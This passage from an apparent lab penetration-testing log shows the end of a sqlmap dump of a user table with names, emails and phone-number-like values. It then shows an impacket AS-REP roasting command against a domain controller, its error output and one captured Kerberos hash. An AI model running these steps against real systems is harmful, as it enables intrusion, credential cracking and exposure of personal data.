RUI SHI | | 369 | wuhuan@xiaorang.lab | 13646953078 | WU HUAN | | 370 | qiaode@xiaorang.lab | 13543564200 | QIAO DE | | 371 | mayong@xiaorang.lab | 15622971484 | MA YONG | | 372 | hangda@xiaorang.lab | 15937701659 | HANG DA | | 373 | changlu@xiaorang.lab | 13734991654 | CHANG LU | | 374 | liuyuan@xiaorang.lab | 15862054540 | LIU YUAN | | 375 | chenggu@xiaorang.lab | 15706685526 | CHENG GU | | 376 | shentuyun@xiaorang.lab | 15816902379 | SHEN TU YUN | | 377 | zhuangsong@xiaorang.lab | 17810274262 | ZHUANG SONG | | 378 | chushao@xiaorang.lab | 18822001640 | CHU SHAO | | 379 | heli@xiaorang.lab | 13701347081 | HE LI | | 380 | haoming@xiaorang.lab | 15049615282 | HAO MING | | 381 | xieyi@xiaorang.lab | 17840660107 | XIE YI | | 382 | shangjie@xiaorang.lab | 15025010410 | SHANG JIE | | 383 | situxin@xiaorang.lab | 18999728941 | SI TU XIN | | 384 | linxi@xiaorang.lab | 18052976097 | LIN XI | | 385 | zoufu@xiaorang.lab | 15264535633 | ZOU FU | | 386 | qianqing@xiaorang.lab | 18668594658 | QIAN QING | | 387 | qiai@xiaorang.lab | 18154690198 | QI AI | | 388 | ruilin@xiaorang.lab | 13654483014 | RUI LIN | | 389 | luomeng@xiaorang.lab | 15867095032 | LUO MENG | | 390 | huaren@xiaorang.lab | 13307653720 | HUA REN | | 391 | yanyangmei@xiaorang.lab | 15514015453 | YAN YANG MEI | | 392 | zuofen@xiaorang.lab | 15937087078 | ZUO FEN | | 393 | manyuan@xiaorang.lab | 18316106061 | MAN YUAN | | 394 | yuhui@xiaorang.lab | 18058257228 | YU HUI | | 395 | sunli@xiaorang.lab | 18233801124 | SUN LI | | 396 | guansixin@xiaorang.lab | 13607387740 | GUAN SI XIN | | 397 | ruisong@xiaorang.lab | 13306021674 | RUI SONG | | 398 | qiruo@xiaorang.lab | 13257810331 | QI RUO | | 399 | jinyu@xiaorang.lab | 18565922652 | JIN YU | | 400 | shoujuan@xiaorang.lab | 18512174415 | SHOU JUAN | | 401 | yanqian@xiaorang.lab | 13799789435 | YAN QIAN | | 402 | changyun@xiaorang.lab | 18925015029 | CHANG YUN | | 403 | hualu@xiaorang.lab | 13641470801 | HUA LU | | 404 | huanming@xiaorang.lab | 15903282860 | HUAN MING | | 405 | baoshao@xiaorang.lab | 13795275611 | BAO SHAO | | 406 | hongmei@xiaorang.lab | 13243605925 | HONG MEI | | 407 | manyun@xiaorang.lab | 13238107359 | MAN YUN | | 408 | changwan@xiaorang.lab | 13642205622 | CHANG WAN | | 409 | wangyan@xiaorang.lab | 13242486231 | WANG YAN | | 410 | shijian@xiaorang.lab | 15515077573 | SHI JIAN | | 411 | ruibei@xiaorang.lab | 18157706586 | RUI BEI | | 412 | jingshao@xiaorang.lab | 18858376544 | JING SHAO | | 413 | jinzhi@xiaorang.lab | 18902437082 | JIN ZHI | | 414 | yuhui@xiaorang.lab | 15215599294 | YU HUI | | 415 | zangpeng@xiaorang.lab | 18567574150 | ZANG PENG | | 416 | changyun@xiaorang.lab | 15804640736 | CHANG YUN | | 417 | yetai@xiaorang.lab | 13400150018 | YE TAI | | 418 | luoxue@xiaorang.lab | 18962643265 | LUO XUE | | 419 | moqian@xiaorang.lab | 18042706956 | MO QIAN | | 420 | xupeng@xiaorang.lab | 15881934759 | XU PENG | | 421 | ruanyong@xiaorang.lab | 15049703903 | RUAN YONG | | 422 | guliangxian@xiaorang.lab | 18674282714 | GU LIANG XIAN | | 423 | yinbin@xiaorang.lab | 15734030492 | YIN BIN | | 424 | huarui@xiaorang.lab | 17699257041 | HUA RUI | | 425 | niuya@xiaorang.lab | 13915041589 | NIU YA | | 426 | guwei@xiaorang.lab | 13584571917 | GU WEI | | 427 | qinguan@xiaorang.lab | 18427953434 | QIN GUAN | | 428 | yangdanhan@xiaorang.lab | 15215900100 | YANG DAN HAN | | 429 | yingjun@xiaorang.lab | 13383367818 | YING JUN | | 430 | weiwan@xiaorang.lab | 13132069353 | WEI WAN | | 431 | sunduangu@xiaorang.lab | 15737981701 | SUN DUAN GU | | 432 | sisiwu@xiaorang.lab | 18021600640 | SI SI WU | | 433 | nongyan@xiaorang.lab | 13312613990 | NONG YAN | | 434 | xuanlu@xiaorang.lab | 13005748230 | XUAN LU | | 435 | yunzhong@xiaorang.lab | 15326746780 | YUN ZHONG | | 436 | gengfei@xiaorang.lab | 13905027813 | GENG FEI | | 437 | zizhuansong@xiaorang.lab | 13159301262 | ZI ZHUAN SONG | | 438 | ganbailong@xiaorang.lab | 18353612904 | GAN BAI LONG | | 439 | shenjiao@xiaorang.lab | 15164719751 | SHEN JIAO | | 440 | zangyao@xiaorang.lab | 18707028470 | ZANG YAO | | 441 | yangdanhe@xiaorang.lab | 18684281105 | YANG DAN HE | | 442 | chengliang@xiaorang.lab | 13314617161 | CHENG LIANG | | 443 | xudi@xiaorang.lab | 18498838233 | XU DI | | 444 | wulun@xiaorang.lab | 18350490780 | WU LUN | | 445 | yuling@xiaorang.lab | 18835870616 | YU LING | | 446 | taoya@xiaorang.lab | 18494928860 | TAO YA | | 447 | jinle@xiaorang.lab | 15329208123 | JIN LE | | 448 | youchao@xiaorang.lab | 13332964189 | YOU CHAO | | 449 | liangduanzhi@xiaorang.lab | 15675237494 | LIANG DUAN ZHI | | 450 | jiagupiao@xiaorang.lab | 17884962455 | JIA GU PIAO | | 451 | ganze@xiaorang.lab | 17753508925 | GAN ZE | | 452 | jiangqing@xiaorang.lab | 15802357200 | JIANG QING | | 453 | jinshan@xiaorang.lab | 13831466303 | JIN SHAN | | 454 | zhengpubei@xiaorang.lab | 13690156563 | ZHENG PU BEI | | 455 | cuicheng@xiaorang.lab | 17641589842 | CUI CHENG | | 456 | qiyong@xiaorang.lab | 13485427829 | QI YONG | | 457 | qizhu@xiaorang.lab | 18838859844 | QI ZHU | | 458 | ganjian@xiaorang.lab | 18092585003 | GAN JIAN | | 459 | yurui@xiaorang.lab | 15764121637 | YU RUI | | 460 | feishu@xiaorang.lab | 18471512248 | FEI SHU | | 461 | chenxin@xiaorang.lab | 13906545512 | CHEN XIN | | 462 | shengzhe@xiaorang.lab | 18936457394 | SHENG ZHE | | 463 | wohong@xiaorang.lab | 18404022650 | WO HONG | | 464 | manzhi@xiaorang.lab | 15973350408 | MAN ZHI | | 465 | xiangdong@xiaorang.lab | 13233908989 | XIANG DONG | | 466 | weihui@xiaorang.lab | 15035834945 | WEI HUI | | 467 | xingquan@xiaorang.lab | 18304752969 | XING QUAN | | 468 | miaoshu@xiaorang.lab | 15121570939 | MIAO SHU | | 469 | gongwan@xiaorang.lab | 18233990398 | GONG WAN | | 470 | qijie@xiaorang.lab | 15631483536 | QI JIE | | 471 | shaoting@xiaorang.lab | 15971628914 | SHAO TING | | 472 | xiqi@xiaorang.lab | 18938747522 | XI QI | | 473 | jinghong@xiaorang.lab | 18168293686 | JING HONG | | 474 | qianyou@xiaorang.lab | 18841322688 | QIAN YOU | | 475 | chuhua@xiaorang.lab | 15819380754 | CHU HUA | | 476 | yanyue@xiaorang.lab | 18702474361 | YAN YUE | | 477 | huangjia@xiaorang.lab | 13006878166 | HUANG JIA | | 478 | zhouchun@xiaorang.lab | 13545820679 | ZHOU CHUN | | 479 | jiyu@xiaorang.lab | 18650881187 | JI YU | | 480 | wendong@xiaorang.lab | 17815264093 | WEN DONG | | 481 | heyuan@xiaorang.lab | 18710821773 | HE YUAN | | 482 | mazhen@xiaorang.lab | 18698248638 | MA ZHEN | | 483 | shouchun@xiaorang.lab | 15241369178 | SHOU CHUN | | 484 | liuzhe@xiaorang.lab | 18530936084 | LIU ZHE | | 485 | fengbo@xiaorang.lab | 15812110254 | FENG BO | | 486 | taigongyuan@xiaorang.lab | 15943349034 | TAI GONG YUAN | | 487 | gesheng@xiaorang.lab | 18278508909 | GE SHENG | | 488 | songming@xiaorang.lab | 13220512663 | SONG MING | | 489 | yuwan@xiaorang.lab | 15505678035 | YU WAN | | 490 | diaowei@xiaorang.lab | 13052582975 | DIAO WEI | | 491 | youyi@xiaorang.lab | 18036808394 | YOU YI | | 492 | rongxianyu@xiaorang.lab | 18839918955 | RONG XIAN YU | | 493 | fuyi@xiaorang.lab | 15632151678 | FU YI | | 494 | linli@xiaorang.lab | 17883399275 | LIN LI | | 495 | weixue@xiaorang.lab | 18672465853 | WEI XUE | | 496 | hejuan@xiaorang.lab | 13256081102 | HE JUAN | | 497 | zuoqiutai@xiaorang.lab | 18093001354 | ZUO QIU TAI | | 498 | siyi@xiaorang.lab | 17873307773 | SI YI | | 499 | shenshan@xiaorang.lab | 18397560369 | SHEN SHAN | | 500 | tongdong@xiaorang.lab | 15177549595 | TONG DONG | +-----+----------------------------+-------------+-----------------+ [17:45:56] [INFO] table 'oa_db.oa_users' dumped to CSV file '/root/.local/share/sqlmap/output/172.22.6.38/dump/oa_db/oa_users.csv' [17:45:56] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/172.22.6.38' [*] ending @ 17:45:56 /2025-11-16/
┌──(root㉿kali)-[/home/kali] └─# proxychains -q impacket-GetNPUsers -dc-ip 172.22.6.12 -usersfile username.txt xiaorang.lab/ Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] User chengqiu@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User louyou@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User maqun@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User wenbiao@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User weishengshan@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:72d2bae127798ec3ab56405067b72fb3$f32f22f2de9cbec10e31d36d94bc609623e0754e1a53d2270e6ee291688f5de431ca42fd35d5970f714e0e335c7ad2cb4b8b58c99c557a40f206f44c6c69ac701a59dd9cfb7bee01c1153efa86aebdc93f1eecab9e29d6427e1f9c85115951b619418d9a9a52f6ac4dfb96955179ce31b9b86d716f2f12f5f717ac4eea46c6d10b2dc91adc5f6eb4cfa0dd520153122ac52445454ea65ed1417168868097457d50b2570077a3f28c55eb39f053e7fc87fb46b75c25b4585300929e89fb8338dd95e98dda3eb9d44a9f2562aef5d793987e0f4651a02c336412d47b393336af5107ca6c235197be1ec6e933e0 [-] User chuyuan@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User wenliang@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User yulvxue@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User luyue@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User ganjian@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User pangzhen@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User guohong@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User lezhong@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User sheweiyue@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User dujian@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User lidongjin@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User hongqun@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User yexing@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User maoda@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User qiaomei@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: 